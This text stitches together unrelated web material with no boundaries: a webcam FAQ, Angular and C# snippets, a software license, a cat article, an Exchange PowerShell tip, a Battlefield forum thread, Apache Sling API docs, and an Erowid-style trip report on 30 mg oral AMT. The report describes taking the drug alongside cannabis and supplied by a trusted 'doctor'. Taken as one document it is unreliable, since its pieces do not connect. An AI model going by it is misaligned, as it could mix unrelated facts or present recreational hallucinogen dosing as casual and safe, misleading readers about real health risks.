Possibly. There are plugins / importers and transcoders available;
check the internet.
I don't see any video in the box above!
Make sure that you have given permission for this web page to
access your camera. Don't worry, the video is not uploaded anywehere
anywhere and stays only on this page until you decide to download
it to your computer.
Does this thing send my video anywhere?
No. All processing occurs on this page in your
browser on your computer. When you download the video, you only
save it as a file on your computer. It goes nowhere else.
I don't have any specific video editing software. How do I view the
video after I download it?
Drag the video file into an empty browser window and you'll see
it. You can also upload it to media services like YouTube.
Does this thing make higher resolution video?
Not right now; this is on the list of things to fix.
Can I get different statistics on the overlay?
Not right now; this is on the list of things to fix.
Can I move the statistics overlay around?
Not right now; this is on the list of things to fix.
This doesn't work on my phone!
Not built for phone use; try a computer instead. Should work on
Android; definitely won't work on iOS.
This doesn't work on my computer!
This application has been tested and works using the latest
version of the Chrome web
browser on Mac OS X. YMMV on other
platforms.


Communication
@Component({
selector: 'my-voter',
template: `
{{name}}
`
})
export class VoterComponent {
@Input() name;
@Output() onVoted = new EventEmitter();
voted = false;
vote(agreed){
this.onVoted.emit(agreed);
this.voted = true;
}
}
Communication
@Component({
selector: 'vote-taker',
template: `
Should mankind colonize the Universe?
<my-voter [name]="voter" (onVoted)="onVoted($event)"></my-voter>
`,
directives: [VoterComponent]
})
export class VoteTakerComponent {
voter = 'Mr Voter';
onVoted(agreed) {
this.sendVoteToServer(agreed);
}
}


| DOSE: |
30 mg |
oral |
AMT |
(capsule) |
To start out my intergalactic mindfuck It started with a bit of amt or alpha-methyltryptamine in a baggie this stuff is as stinky as every one says it is. It just smelt of straight up chemical.
As I trust my doctor I trusted anything he gave me was sure to make my evening interesting, today he offered amt and proceeded to describe it as a wicked hallucinogenic and proceeded to put 30mgs in a clear capsule. Went down without a taste or any other discomfort. He tells me I have about 3 hours to kill before I start feeling anything. This was at 8pm Friday night.
8:00 pm
Shortly after dosage I had a bit of weed in my pocket for the nights smoke, so I rolled one up to kill some time.
9:00pm
I received a text from a friend wondering what was on the doctors menu of the night and proceeded to describe amt what it is and the other details some one should know before trying anything new. He seemed really interested about it over the phone and wanted to get on it tonight so I grabbed my ipod and packed my backpack with a drink and a few other things I may need just in case I may need to ditch my coat later.
9:45pm
Walking down the road I noticed my music to kinda thump louder the beat kinda sounded stronger and grew a little more and more with the steps I took down the road. It was wet but fresh after a long rain where every thing is a little shiny and seems to flicker off the streets.  Everything started going fuzzy the corners of the buildings didnít look right as if you were to take a picture and you moved a little bit, still in focus but has a hazy feel to it. I felt as if I wasnít really able to walk straight but I wasnít like a drunk stumble more of a lean.
10:45pm
Walking through the down town area for a bit I decided to get move from the mess of lights and mash of fuzzy buildings, I was wondering towards the other side of town to chill with another friend referred to as ďNĒ he snorted about 30mgs around my time of dosage and was inviting me to chill and watch a movie.
11:00pm
I found my self sitting on bleachers of a baseball field to catch my breath I wasnít use to walking have not been out for a journey one since I had 2ci. I noticed I didnít like the song that was on my ipod I just wasnít into the beat or something so I changed it to something a little more mellow sat back closed my eyes and as if I where to stick my head in another world the music was wavy and my vision seemed to go with it the colors where unbelievable and barely explainable only way to describe it was walking into a fireworks factory that had rainbows for laughs, so many colors flashed, crawled and seemed to bend and twist under my closed eyes
11:30pm
Sitting there with my eyes closed for a half hour seemed like forever, I opened my eyes and I looked up to notice the stars where out but it was pitch black all around me and looking up to this rain of glitter seemed to stand still over the ball field. A few clouds in the sky I didnít notice until they where right up in the middle of my view of the stars, this cloud was a multicoloured kaleidoscope from pinks, purples, reds, and oranges.
12:00am
I had to stop at the store on my way to grab another drink, I was sweating a lot. As I opened the shop door the store seemed to do the stretch and go really narrow but all was still in perfect focus, felt like it took me a while to get to the back of the store for a drink, all the different things to pick from I grabbed a green drink of sorts, paid for it and left turning on a new song walking out the door.
12:45am
I wonder In to Nís place to see him laying on the bed with a smile cheek to cheek holding headphones in his hand, as if to offer me a listen. So I ditched my coat and my extra shirt sat down and put on the headphones, Iím not sure who it was so I handed them back.
1:00am
After a short brain storm on what movie to watch we picked inception thought why not it looks trippy. The posters and paintings on the walls of the room where so unreal as if I where sitting a cartoon world every thing was sharp yet soft at the same time.
2:00am
Totally lost in the visual mindfuck I found my self in the middle of, the cartoon feel changed and everything thing in the room was mashed together or wavy or shifting. Anything that moved had real intense trails following the moment some people call them ghosts but they followed everything except the movie going on.
3:30am
Nearing the end of the movie vision was still a complete mess of colors and movements, noticing the time on the clock. The number sat there glowing and seemed to be the only thing I could see other then the TV. The thought of this is was only half way done put a smile on my face from ear to ear, normally the hallucinogens only last 4-8 hours and I was hoping to get something that would feel more like a adventure this defiantly did the trick.
4:00am
We threw on some more music and started playing some Xbox. N was online playing halo and I felt to be completely over come by some sort of childlike wonder as I watched him play for a bit as the paintings in the room caught my attention again, the colors this time much like a lava lamp bumping into each other sliding side by side but never mixing.
6:00am
I appear to have been laying upside down on the futon for a while lost in my mind looking at every thing around me just so many of the silly patterns raced across many different things in the room this kept my attention for quite some time.
6:15am
Turned on a simple game of bejewelled to kill some time.
9:00am
Woke up with the controller in hand, placed the controller down. The feeling of being wasted was still pretty noticeable. The visuals have been going nuts bending and shifting for a solid 11 hours
10:00am
Nearing the landing pad form this intergalactic mindfuck I started to notice every thing slowing down and sleep felt needed after that,
After waking up from a short but needed 2 hour nap, I stood up, missing a sock, had the ever so wonderful woooow....wtf' moment and made my way home
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Objenesis is open source, under the Apache 2.0 license.
If, for any reason, this license is not appropriate for you, please contact the development team so we can discuss alternatives.
Versions of Objenesis before version 1.2 are under the MIT license defined below.
Copyright (c) 2003-2013, Objenesis Team and all contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


The CustomCreationConverter is a JsonConverter that provides a way to customize how an object is created during JSON deserialization. Once the object has been created it will then have values populated onto it by the serializer.
public interface IPerson
{
string FirstName { get; set; }
string LastName { get; set; }
DateTime BirthDate { get; set; }
}
public class Employee : IPerson
{
public string FirstName { get; set; }
public string LastName { get; set; }
public DateTime BirthDate { get; set; }
public string Department { get; set; }
public string JobTitle { get; set; }
}
public class PersonConverter : CustomCreationConverter<IPerson>
{
public override IPerson Create(Type objectType)
{
return new Employee();
}
}
This is an extremely simple example. A more complicated scenario could involve an object factory or service locator which resolves the object at runtime.


This test checks to see if accesskey attributes work on legend elements.
If the test passes, you should see one line saying "focused" and the text field should have focus.


Guy Illustrates How His Adopted Cat Helped Him Deal With Depression and Anxiety
by Alief EsmailTap to listen to this article instead: 🔊 Listen to Post
Animals are known to have a remedial effect especially when it comes to our mental health. Coming home from a long day will always feel better when your beloved furry friend greets you at the door or jumps beside you on the couch just to teman you while you unwind. It’s like they understand the things that we are going through and by them being there for us, we will feel better.
For Yash Pandit, the cat he adopted might have saved his life. He was suffering from mental health issues and he knew he needed a little help and support, so he brought Bagheera home. His life was never the same again.  He’s smart enough to pretend that he’s fallen asleep but also thinks his shadow is another cat and starts pouncing on it. He loves to watch Fresh Prince of Bel Air with me and won’t fall asleep until I put on Frank Ocean songs, in which case he will hug my phone and go to sleep. I love him with all my life.”
Yash and Bagheera’s story went viral after Yash decided to draw a comic and share it on Imgur, describing how his beloved companion has helped him tremendously.
From the comics, we can see that having Bagheera at home provided Yash with the comfort that he needs and since he needs to take care of the cat, which indirectly taught him how to take care of himself too including feeding himself and also taking his medicine. But most importantly, Bagheera accepts him as he is and because of this, he has learned to accept himself too.
We are happy that Bagheera is helping Yash Pandit deal with Type 1 rapid cycling bipolar disorder, along with depression and anxiety. Hopefully, the bond that they share will grow even stronger later.
For those who are currently suffering from any mental issues, do seek help from those around you. There will always be someone that can help you or maybe who knows, it might be a cute cat or dog!
Also read: Watch: Baby Was About to Fall Down the Stairs When Kitty Cat Saves Him Using Its Tiny Paws


Create a .CSV file with this format:
Save it as contacts.csv. For the purpose of this guide, I have saved it to D:\contacts.csv
Also, make sure you have the Organizational Units (OUs) created in your Active Directory before proceeding. If not, you will get an error in Step 3.
Launch Exchange Management Shell.
Once it launches, type the following code:
Import-Csv D:\contacts.csv | ForEach-Object { New-MailContact -Name $_."Name" -ExternalEmailAddress $_."Email" -FirstNa
me $_."FirstName" -OrganizationalUnit $_."Oupath" -Alias $_."Alias" }
Hit Enter and you are done!
(header image source: freecodesource.com)


Data Analysis
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So.. in about two or three months DICE will release Battlefield 4's second DLC, called Second Assault. LevelCap has added the first footage of the adjusted, renewed, call it however you want, Battlefield 3 maps. And wow, they look stunning and the changes they've made, especially the ones in Operation Metro, and yes I'm talking about the shittiest map in Battlefield 3. Caspian Border was great and it now is even better, just to mention a big almost indestructible wall across the map.
Below the two vid's from LevelCap of the first two, of in total four, maps of Second Assault, Operation Metro and Caspian Border.
http://www.youtube.com/watch?v=L90DibXzunI
http://www.youtube.com/watch?v=PV90Kp2IURg
Edit I: Official trailer is out now.
http://www.youtube.com/watch?v=s9x0dE1WHFU
Edit II: Third vid from LevelCap is out - Gulf Of Oman.
http://www.youtube.com/watch?v=2zvIEIwrtb0
Edit III: Fourth and final vid from LevelCap is out - Operation Firestorm.
http://www.youtube.com/watch?v=R4Ezde2uNFE
GameFreakBoy
Caspian Border will actually feel like a border now.
Post edited 1 x times, last by
BrainFooLong
Administrator
BrainFooLong
Administrator
One thing that they really can, presenting cinema styled trailers that give you the feeling "i must have this epic kind of a game".
I think also that it will be nice, but it feels like a recycled DLC.
Dendari
Translator
BrainFooLong wrote:
One thing that they really can, presenting cinema styled trailers that give you the feeling "i must have this epic kind of a game".
I think also that it will be nice, but it feels like a recycled DLC.
Because it is, apart from the new art style and the "levolution" the maps seem pretty much identical to the old one.
Topicstarter
Meaurk
Global Moderator
In every Battlefield serie they've added a 'recycled' DLC. Look at Back to Karkand in Battlefield 3.
Dendari
Translator
Eh, not really the same thing, imo. While B2K maps were based on the BF2 maps which were 6 years old, they had significant changes. So far I've seen two changes in the SA maps: the wall on Caspian, the new doorways on Metro. Nothing significant if you ask me.
juress
Theme Developer
Recycled DLC for a recycled game. Thats the EA way ;)
Bonehead
I actually like the look of Caspian Border, that big wall dividing the map really makes it feel like an actual 'border'. Not to mention, it's probably fun to blow it up.
Topicstarter
Meaurk
Global Moderator
Bonehead wrote:
Not to mention, it's probably fun to blow it up.
You can't.
GameFreakBoy
So what happened to the player-triggered-events philosophy?
Brady_The
GameFreakBoy wrote:
So what happened to the player-triggered-events philosophy?
That was the selling point of Battlefield 4, not of any DLC's. :-P ;-)
Topicstarter
Meaurk
Global Moderator
Just for the ones who like to know, Second Assault is coming to PC on February 18th, 2014. :-)
Brady_The
Meaurk wrote:
Just for the ones who like to know, Second Assault is coming to PC on February 18th, 2014. :-)
Kinda "good news". At least I can grind some Operation Métro if I really feel like playing Battlefield 4.
ArnoldLayne
Translator
Hopefully not find servers as Operation Metro 24/7/365 2000TK in the whole server list.


@ConsumerType
public abstract class ResourceProvider<T>
extends java.lang.Object
ResourceResolver
to
transparently access resources from different locations such as a JCR
repository, a database, or bundle resources.
This extension point is defined by an abstract class (in contrast to an interface) as this allows to add new functionality in new versions without breaking any implementation.
This service is intended to be implemented by providers of resource
instances on behalf of the ResourceResolver
. It
is not intended to be used by client applications directly. A resource
provider implements this service by extending this class.
A resource provider must set the PROPERTY_ROOT
property with an
absolute path. This is the mount point of the resource provider. If there
is more than one provider registering for the same root, only the one
with the highest service ranking is used.
If a provider is used in the resource tree, it gets activated through
a call of the start(ProviderContext)
method. If the
provider is not used anymore within the resource tree, the
stop()
method is called. Whenever
information concerning the provider is changed while the provider
is used, the update(long)
method is called. The provider context
instance which is passed to the start(ProviderContext)
method
contains the updated state.
Some resource providers might require (user) authentication. For example
the JCR resource provider uses authenticated sessions. If a provider
requires authentication it must indicate this by setting the service
registration property PROPERTY_AUTHENTICATE
to either
AUTHENTICATE_LAZY
or AUTHENTICATE_REQUIRED
. In these
cases, the resource resolver calls authenticate(Map)
and on
successful authentication the provider returns a state object for
the current user. This object is passed into the provider with
every method through ResolveContext.getProviderState()
.
If a provider requires authentication, the logout(Object)
method
is called, when the resource resolver is closed. If the provider
does not set this service property or sets it to AUTHENTICATE_NO
the authenticate(Map)
and logout(Object)
method
are never called and therefore ResolveContext.getProviderState()
will return null
.
Each method gets the ResourceContext
which gives access to
further functionality.
| Modifier and Type | Field and Description |
|---|---|
static java.lang.String |
AUTH_ADMIN
The authentication information property indicating to use an
administrative login.
|
static java.lang.String |
AUTH_CLONE
The authentication information property indicating that an existing resource resolver is being cloned.
|
static java.lang.String |
AUTH_SERVICE_BUNDLE
The authentication information property referring to the bundle
providing a service for which a resource provider is to be retrieved.
|
static java.lang.String |
AUTHENTICATE_LAZY
Value for
PROPERTY_AUTHENTICATE indicating authentication is needed
and will be done on demand. |
static java.lang.String |
AUTHENTICATE_NO
Default value for
PROPERTY_AUTHENTICATE |
static java.lang.String |
AUTHENTICATE_REQUIRED
Value for
PROPERTY_AUTHENTICATE indicating authentication is required. |
static java.lang.String |
PROPERTY_ADAPTABLE
If this flag is set to
true , the resource resolver will use this provider
for the adaptTo() operation. |
static java.lang.String |
PROPERTY_ATTRIBUTABLE
If this flag is set to
true , the resource resolver will try to get the attribute
names and the attribute values from this provider. |
static java.lang.String |
PROPERTY_AUTHENTICATE
If a resource provider needs the user to be authenticated this property must be set
to either
AUTHENTICATE_LAZY or AUTHENTICATE_REQUIRED . |
static java.lang.String |
PROPERTY_MODIFIABLE
A modifiable resource provider is capable of creating, changing and deleting resources.
|
static java.lang.String |
PROPERTY_NAME
Optional service registration property setting a name for the provider.
|
static java.lang.String |
PROPERTY_REFRESHABLE
If this flag is set to
true , the resource resolver will call refresh(ResolveContext)
when it's refreshed itself. |
static java.lang.String |
PROPERTY_ROOT
The name of the service registration property containing the root path
of the resources provided by this provider.
|
static java.lang.String |
PROPERTY_USE_RESOURCE_ACCESS_SECURITY
The name of the service registration property containing a boolean
flag indicating if the ResourceAccessSecurity service should be used for
this provider or not.
|
static java.lang.String |
RESOURCE_TYPE_SYNTHETIC
The resource type be set on resources returned by the
listChildren(ResolveContext, Resource) method to enable traversing the
resource
tree down to a deeply nested provided resource which has no concrete
parent hierarchy (value is"sling:syntheticResourceProviderResource"). |
| Constructor and Description |
|---|
ResourceProvider() |
| Modifier and Type | Method and Description |
|---|---|
<AdapterType> |
adaptTo(@NotNull ResolveContext<T> ctx,
@NotNull java.lang.Class<AdapterType> type)
Adapts the provider to another type.
|
T |
authenticate(@NotNull java.util.Map<java.lang.String,java.lang.Object> authenticationInfo)
Authenticate against the resource provider.
|
void |
commit(@NotNull ResolveContext<T> ctx)
Commit all transient changes: create, delete and updates
|
boolean |
copy(@NotNull ResolveContext<T> ctx,
@NotNull java.lang.String srcAbsPath,
@NotNull java.lang.String destAbsPath)
This method copies the subgraph rooted at, and including, the resource at
srcAbsPath to the new location at destAbsPath and
adds it as a child node of the resource at destAbsPath . |
@NotNull Resource |
create(@NotNull ResolveContext<T> ctx,
java.lang.String path,
java.util.Map<java.lang.String,java.lang.Object> properties)
Create a new resource at the given path.
|
void |
delete(@NotNull ResolveContext<T> ctx,
@NotNull Resource resource)
Delete the resource at the given path.
|
@Nullable java.lang.Object |
getAttribute(@NotNull ResolveContext<T> ctx,
@NotNull java.lang.String name)
Returns the value of the given resource provider attribute or
null
if the attribute is not set or not visible (as e.g. |
@Nullable java.util.Collection<java.lang.String> |
getAttributeNames(@NotNull ResolveContext<T> ctx)
Returns a collection of attribute names whose value can be retrieved
calling the
getAttribute(ResolveContext, String) method. |
@Nullable Resource |
getParent(@NotNull ResolveContext<T> ctx,
@NotNull Resource child)
Returns the parent resource from this resource provider or
null if
the resource provider cannot find it. |
protected @Nullable ProviderContext |
getProviderContext()
Get the current provider context.
|
@Nullable QueryLanguageProvider<T> |
getQueryLanguageProvider()
Get the optional query language provider.
|
abstract @Nullable Resource |
getResource(@NotNull ResolveContext<T> ctx,
@NotNull java.lang.String path,
@NotNull ResourceContext resourceContext,
@Nullable Resource parent)
Returns a resource from this resource provider or
null if
the resource provider cannot find it. |
boolean |
hasChanges(@NotNull ResolveContext<T> ctx)
Are there any transient changes?
|
boolean |
isLive(@NotNull ResolveContext<T> ctx)
Returns
true if this resource provider has not been closed
yet and can still be used. |
abstract @Nullable java.util.Iterator<Resource> |
listChildren(@NotNull ResolveContext<T> ctx,
@NotNull Resource parent)
|
void |
logout(T state)
If the provider requires authentication, this method is called with the state of the user
returned by
authenticate(Map) once the resource resolver is closed. |
boolean |
move(@NotNull ResolveContext<T> ctx,
@NotNull java.lang.String srcAbsPath,
@NotNull java.lang.String destAbsPath)
This method moves the subgraph rooted at, and including, the resource at
srcAbsPath to the new location at destAbsPath and
adds it as a child node of the resource at destAbsPath . |
void |
refresh(@NotNull ResolveContext<T> ctx)
The provider is updated to reflect the latest state.
|
void |
revert(@NotNull ResolveContext<T> ctx)
Revert all transient changes: create, delete and updates.
|
void |
start(@NotNull ProviderContext ctx)
With a call to this method, the provider implementation is notified that
it is used in the resource tree.
|
void |
stop()
With a call to this method, the provider implementation is notified
that it is not used anymore in the resource tree.
|
void |
update(long changeSet)
With a call to this method, the provider implementation is notified
that any information regarding the registration of the provider
has changed.
|
public static final java.lang.String PROPERTY_ROOT
public static final java.lang.String PROPERTY_NAME
public static final java.lang.String PROPERTY_USE_RESOURCE_ACCESS_SECURITY
false
.
(value is "provider.useResourceAccessSecurity")public static final java.lang.String AUTHENTICATE_NO
PROPERTY_AUTHENTICATE
PROPERTY_AUTHENTICATE
,
Constant Field Valuespublic static final java.lang.String AUTHENTICATE_REQUIRED
PROPERTY_AUTHENTICATE
indicating authentication is required.PROPERTY_AUTHENTICATE
,
Constant Field Valuespublic static final java.lang.String AUTHENTICATE_LAZY
PROPERTY_AUTHENTICATE
indicating authentication is needed
and will be done on demand.PROPERTY_AUTHENTICATE
,
Constant Field Valuespublic static final java.lang.String PROPERTY_AUTHENTICATE
AUTHENTICATE_LAZY
or AUTHENTICATE_REQUIRED
.
If it is set to AUTHENTICATE_REQUIRED
, the authenticate(Map)
method
is called when the resource resolver is created and only if authentication against
all resource providers marked as required is successful, a resource resolver is
created. Otherwise the creation fails.
If a provider sets this property to AUTHENTICATE_LAZY
, the authenticate method
is only invoked if a resource from this provider is requested. This might also happen
for traversal or queries. If the authentication fails, resources from this provider
are not accessible.
If this property is not set or set to AUTHENTICATE_NO
, no authentication
is required for this provider and the authenticate(Map)
is never invoked.
String service property, default value is AUTHENTICATE_NO
.
(value is "provider.authenticate")public static final java.lang.String PROPERTY_MODIFIABLE
create(ResolveContext, String, Map)
,
delete(ResolveContext, Resource)
and adapting a resource to a modifiable
value map is supported.
If this flag is set to false
, the resource resolver does not take this
provider into account for modifications and modification operations to this provider
always result in an exception.
If this is set to true
, the property PROPERTY_AUTHENTICATE
must require authentication, otherwise this provider registration is considered
invalid and the provider is not used.
Boolean service property, default value is false
.
(value is "provider.modifiable")public static final java.lang.String PROPERTY_ADAPTABLE
true
, the resource resolver will use this provider
for the adaptTo() operation.
Boolean service property, default value is false
.
(value is "provider.adaptable")public static final java.lang.String PROPERTY_REFRESHABLE
true
, the resource resolver will call refresh(ResolveContext)
when it's refreshed itself.
Boolean service property, default value is false
.
(value is "provider.refreshable")public static final java.lang.String PROPERTY_ATTRIBUTABLE
true
, the resource resolver will try to get the attribute
names and the attribute values from this provider.
Boolean service property, default value is false
.
(value is "provider.attributable")public static final java.lang.String AUTH_SERVICE_BUNDLE
ResourceResolverFactory.SUBSERVICE
property may also be
present.
ResourceResolverFactory
implementations must provide this
property if their implementation of the
ResourceResolverFactory.getServiceResourceResolver(Map)
method
use a resource provider factory.
The type of this property, if present, is
org.osgi.framework.Bundle
.
public static final java.lang.String AUTH_ADMIN
ResourceResolverFactory.getAdministrativeResourceResolver(Map)
.public static final java.lang.String AUTH_CLONE
public static final java.lang.String RESOURCE_TYPE_SYNTHETIC
listChildren(ResolveContext, Resource)
method to enable traversing the
resource
tree down to a deeply nested provided resource which has no concrete
parent hierarchy (value is"sling:syntheticResourceProviderResource").public void start(@NotNull @NotNull ProviderContext ctx)
ctx
- The context for this provider.public void stop()
public void update(long changeSet)
changeSet
- A bit set of provider info that has changed.ProviderContext.OBSERVATION_LISTENER_CHANGED
,
ProviderContext.EXCLUDED_PATHS_CHANGED
@Nullable protected @Nullable ProviderContext getProviderContext()
null
if the provider is currently
not used in the resource tree.@Nullable public T authenticate(@NotNull @NotNull java.util.Map<java.lang.String,java.lang.Object> authenticationInfo) throws LoginException
Returns a provider context object if authentication is successful. The
context object is passed to the resource provider in all messages through
the ResourceContext
. A valid implementation might return null
as the context information.
If authentication fails a LoginException
must be thrown.
The returned context object grants access to the provided resources with privileges assigned to the service provided by the calling bundle.
The authenticationInfo
map will in general contain the same
information as provided to the respective ResourceResolver
method. For
The provided authenticationInfo
map may be used to provide
additional information such as the AUTH_SERVICE_BUNDLE
.
If this property is provided, additional information like
ResourceResolverFactory.SUBSERVICE
might be provided, but the
ResourceResolverFactory.USER
and
ResourceResolverFactory.PASSWORD
properties provided in the map must be ignored.
The ResourceResolverFactory.USER_IMPERSONATION
property is obeyed but requires that the
authenticated user has permission to impersonate as the requested user.
If such permission is missing, a LoginException
is thrown.
The resource resolver implementation will call the logout(Object)
method once the resource resolver is closed. However, if the resource
provider is already unregistered when the resource resolver is closed,
logout can't be called. Therefore the returned state object might
implement Closeable
. In this case close is called
on the state object.
authenticationInfo
- A map of further credential information which
may be used by the implementation to parameterize how the
resource resolver is created.authenticationInfo
.LoginException
- If an error occurs authenticating with the
provided credential data.public void logout(@Nullable T state)
authenticate(Map)
once the resource resolver is closed.state
- The provider state returned by authenticate(Map)
.public void refresh(@NotNull @NotNull ResolveContext<T> ctx)
revert(ResolveContext)
can be called to discard changes.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_REFRESHABLE
to the value true
.
ctx
- The ResolveContext
.public boolean isLive(@NotNull @NotNull ResolveContext<T> ctx)
true
if this resource provider has not been closed
yet and can still be used.
This method will never throw an exception even after the resource provider has been closed
This method is only called for resource providers which have a state and require authentication.
ctx
- The ResolveContext
.true
if the resource provider has not been closed
yet and is still active.. Once the resource provider has been closed
or is not active anymore, this method returns false
.@Nullable public @Nullable Resource getParent(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull Resource child)
null
if
the resource provider cannot find it.
The resource provider must not return cached instances for a resource as
the resource resolver will update the resource meta data of the resource
at the end of the resolution process and this meta data might be different
depending on the full path of resource resolution passed into the
resource resolver.ctx
- The ResolveContext
.child
- The child resource.null
if this provider does not have a resource for
the parent.SlingException
- may be thrown in case of any problem creating the Resource
instance.@Nullable public abstract @Nullable Resource getResource(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull java.lang.String path, @NotNull @NotNull ResourceContext resourceContext, @Nullable @Nullable Resource parent)
null
if
the resource provider cannot find it. The path must have the PROPERTY_ROOT
strings as its prefix.
The resource provider must not return cached instances for a resource as
the resource resolver will update the resource meta data of the resource
at the end of the resolution process and this meta data might be different
depending on the full path of resource resolution passed into the
resource resolver.ctx
- The ResolveContext
.path
- The full path of the resource.resourceContext
- Additional information for resolving the resourceparent
- Optional parent resourcenull
If this provider does not have a resource for
the path.SlingException
- may be thrown in case of any problem creating the Resource
instance.@Nullable public abstract @Nullable java.util.Iterator<Resource> listChildren(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull Resource parent)
Iterator
of Resource
objects loaded from
the children of the given Resource
. The returned Resource
instances
are attached to the same
ResourceResolver
as the given parent
resource.
This method may be called for resource providers whose root path list contains a path such that the resource path is a prefix of the list entry. This allows for the enumeration of deeply nested provided resources for which no actual parent hierarchy exists.
The returned iterator may in turn contain resources which do not actually exist but are required
to traverse the resource
tree. Such resources SHOULD be SyntheticResource
objects whose resource type MUST be set to
RESOURCE_TYPE_SYNTHETIC
.
As with getResource(ResolveContext, String, ResourceContext, Resource)
the returned Resource objects must
not be cached objects.
ctx
- The ResolveContext
.parent
- The Resource
whose children are requested.Iterator
of Resource
objects or null
if the resource
provider has no children for the given resource.java.lang.NullPointerException
- If parent
is null
.SlingException
- If any error occurs acquiring the child resource iterator.@Nullable public @Nullable java.util.Collection<java.lang.String> getAttributeNames(@NotNull @NotNull ResolveContext<T> ctx)
getAttribute(ResolveContext, String)
method.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_ATTRIBUTABLE
to the value true
.
ctx
- The ResolveContext
.null
java.lang.IllegalStateException
- if this resource provider has already been
closed.@Nullable public @Nullable java.lang.Object getAttribute(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull java.lang.String name)
null
if the attribute is not set or not visible (as e.g. security
sensitive attributes).
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_ATTRIBUTABLE
to the value true
.
ctx
- The ResolveContext
.name
- The name of the attribute to accessnull
if the attribute
is not set or not accessible.java.lang.IllegalStateException
- if this resource provider has already been closed.@NotNull public @NotNull Resource create(@NotNull @NotNull ResolveContext<T> ctx, java.lang.String path, java.util.Map<java.lang.String,java.lang.Object> properties) throws PersistenceException
commit(ResolveContext)
is called.
A resource provider must value ResourceResolver.PROPERTY_RESOURCE_TYPE
to set the resource type of a resource.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.path
- The resource path.properties
- Optional propertiesPersistenceException
- If anything failspublic void delete(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull Resource resource) throws PersistenceException
commit(ResolveContext)
is called.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.resource
- The resource to delete.PersistenceException
- If anything failspublic void revert(@NotNull @NotNull ResolveContext<T> ctx)
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.public void commit(@NotNull @NotNull ResolveContext<T> ctx) throws PersistenceException
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.PersistenceException
- If anything failspublic boolean hasChanges(@NotNull @NotNull ResolveContext<T> ctx)
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.true
if there are pending changes.@Nullable public @Nullable QueryLanguageProvider<T> getQueryLanguageProvider()
@Nullable public <AdapterType> AdapterType adaptTo(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull java.lang.Class<AdapterType> type)
Please not that it is explicitly left as an implementation detail whether
each call to this method with the same type
yields the same
object or a new object on each call.
Implementations of this method should document their adapted types as well as their behavior with respect to returning newly created or not instance on each call.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_ADAPTABLE
to the value true
.
AdapterType
- The generic type to which this resource is adapted to.ctx
- The ResolveContext
.type
- The generic type to which this resource is adapted to.null
if the provider cannot
be adapt to the requested type.public boolean copy(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull java.lang.String srcAbsPath, @NotNull @NotNull java.lang.String destAbsPath) throws PersistenceException
srcAbsPath
to the new location at destAbsPath
and
adds it as a child node of the resource at destAbsPath
.
Both resources are resources from this provider and the full tree is provided by this provider as well.
The resource at destAbsPath
needs to exist, if not a PersistenceException
is thrown. If a child resource with the same name already exists at destAbsPath
a PersistenceException
is thrown.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.srcAbsPath
- the path of the resource to be copied.destAbsPath
- the location to which the resource at
srcAbsPath
is to be copied.true
if the provider can perform the copyPersistenceException
- If an error occurs.public boolean move(@NotNull @NotNull ResolveContext<T> ctx, @NotNull @NotNull java.lang.String srcAbsPath, @NotNull @NotNull java.lang.String destAbsPath) throws PersistenceException
srcAbsPath
to the new location at destAbsPath
and
adds it as a child node of the resource at destAbsPath
.
Both resources are resources from this provider and the full tree is provided by this provider as well.
The resource at destAbsPath
needs to exist, if not a PersistenceException
is thrown. If a child resource with the same name already exists at destAbsPath
a PersistenceException
is thrown.
This method is only called if the provider supports this and indicates
it by setting the PROPERTY_MODIFIABLE
to the value true
.
ctx
- The ResolveContext
.srcAbsPath
- the path of the resource to be copied.destAbsPath
- the location to which the resource at
srcAbsPath
is to be moved.true
if the provider can perform the movePersistenceException
- If an error occurs.Copyright © 2018 The Apache Software Foundation. All rights reserved.


